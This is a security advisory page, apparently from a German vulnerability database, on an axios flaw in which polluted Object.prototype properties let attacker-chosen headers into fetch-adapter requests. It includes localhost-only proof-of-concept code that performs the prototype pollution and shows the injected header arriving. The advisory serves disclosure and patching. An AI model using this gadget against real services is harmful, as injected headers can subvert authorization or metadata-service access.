Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders
Summary
Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.
Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.
Impact
An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.
Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.
Affected Functionality
Affected:
- Fetch adapter requests.
resolveConfig()handling ofutils.isFormData(data).- Request bodies that can be spoofed as FormData through inherited
Symbol.toStringTag,append, andgetHeaders.
Not affected:
- Node HTTP adapter's later FormData header path, which checks
data.getHeaders !== Object.prototype.getHeaders. - Plain object request bodies rejected by current
isFormData()plain-object guard. - Processes without prototype pollution.
Technical Details
lib/helpers/resolveConfig.js currently contains:
if (utils.isFormData(data)) {
if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
headers.setContentType(undefined);
} else if (utils.isFunction(data.getHeaders)) {
setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
}
Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.
Proof of Concept of Attack
Constrained local demonstration:
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });
await axios.post(url, ['a', 'b'], { adapter: 'fetch' });
Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.
Workarounds
Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.
<details> <summary><h3>Original report</h3></summary>Summary
The Node HTTP adapter contains a guard that prevents Object.prototype.getHeaders from being used as a FormData header source. The shared resolveConfig() helper does not have the same guard. The fetch adapter calls resolveConfig(), so it can still merge headers returned by inherited data.getHeaders().
This is a patch mismatch for the FormData prototype-pollution header-injection class.
Affected Version
Validated on:
- axios:
1.17.0 - commit:
4306df2 - runtime: Node.js
v24.15.0
Preconditions
- Application uses
adapter: 'fetch'. - A separate prototype-pollution primitive can write:
Object.prototype[Symbol.toStringTag] = 'FormData'Object.prototype.append = function () {}Object.prototype.getHeaders = function () { ... }
- The request body is an array or custom class instance. Plain objects are blocked by the current
isFormData()plain-object guard.
Root Cause
lib/adapters/http.js contains:
data.getHeaders !== Object.prototype.getHeaders
But lib/helpers/resolveConfig.js only checks:
} else if (utils.isFunction(data.getHeaders)) {
setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
The fetch adapter calls resolveConfig(config) before dispatching the request.
Impact
An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.
Proof of Concept
import axios from './index.js';
import http from 'http';
const start = (handler) => new Promise((resolve) => {
const server = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => (body += chunk));
req.on('end', () => handler(req, res, body));
});
server.listen(0, '127.0.0.1', () => resolve(server));
});
const stop = (server) => new Promise((resolve) => server.close(resolve));
const hits = [];
const tag = Symbol.toStringTag;
const server = await start((req, res, body) => {
hits.push({ headers: req.headers, body });
res.setHeader('Content-Type', 'application/json');
res.end('{"ok":true}');
});
try {
Object.prototype[tag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => {
const headers = Object.create(null);
headers['X-Poisoned'] = 'yes';
return headers;
};
await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {
adapter: 'fetch',
timeout: 3000
});
console.log(hits[0]);
} finally {
delete Object.prototype[tag];
delete Object.prototype.append;
delete Object.prototype.getHeaders;
await stop(server);
}
Observed wire request:
{
"headers": {
"x-poisoned": "yes",
"content-type": "text/plain;charset=UTF-8",
"content-length": "3"
},
"body": "a,b"
}
References
- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9
- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9
- Related patch area:
lib/adapters/http.js,lib/helpers/resolveConfig.js
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | axios | >= 1.12.0, < 1.20.0 | 1.20.0 |
Verweise
- https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2
- https://nvd.nist.gov/vuln/detail/CVE-2026-101900
- https://github.com/axios/axios/pull/11141
- https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
- https://github.com/axios/axios
- https://github.com/axios/axios/releases/tag/v1.20.0
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N- Schwäche (CWE)
CWE-1321, CWE-693, CWE-74- Plattform
- npm
- Paket
axios- Veröffentlicht
- 30.09.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-4hqw-qxg8-jxx2 - CC BY 4.0
Schwachstellenhistorie: axios
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 55
- Erste → letzte
- 05.2019 09.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 25
- Mittel 28
- Niedrig 2
Veröffentlichungen pro Jahr
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 0
- 2023: 1
- 2024: 1
- 2025: 2
- 2026: 48
-
Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.